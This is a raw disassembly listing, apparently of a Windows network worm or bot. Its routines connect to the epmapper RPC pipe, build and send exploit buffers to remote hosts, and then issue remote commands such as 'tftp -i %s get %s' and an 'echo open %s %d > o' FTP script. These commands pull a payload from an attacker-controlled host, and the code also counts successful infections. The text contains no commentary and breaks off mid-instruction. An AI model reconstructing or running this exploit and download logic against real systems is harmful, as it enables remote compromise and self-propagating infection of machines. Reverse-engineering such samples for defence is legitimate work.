push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 2630846h cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] call near ptr 2630000h nop cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 2620000h nop test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] nop call near ptr 2610978h jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] nop call near ptr 2610000h push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call near ptr 2610978h nop lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43F668 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43F6A8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43F700 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43F700 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172B0 add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h call near ptr 25E041Ch nop inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_415450 pop ecx mov dword_43C810, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word ptr dword_43C810 push eax call dword_43F668 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 mov esi, offset byte_42F674 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h call near ptr 25E041Ch nop push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 push ebx call dword_43F700 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_43C810 add esp, 2Ch push eax call dword_43F668 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 68h push offset dword_42811C push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0A0h push offset dword_428188 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch nop call near ptr 25E041Ch sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_415450 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0A8h push offset dword_427F2C push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43F700 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_43C824 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, 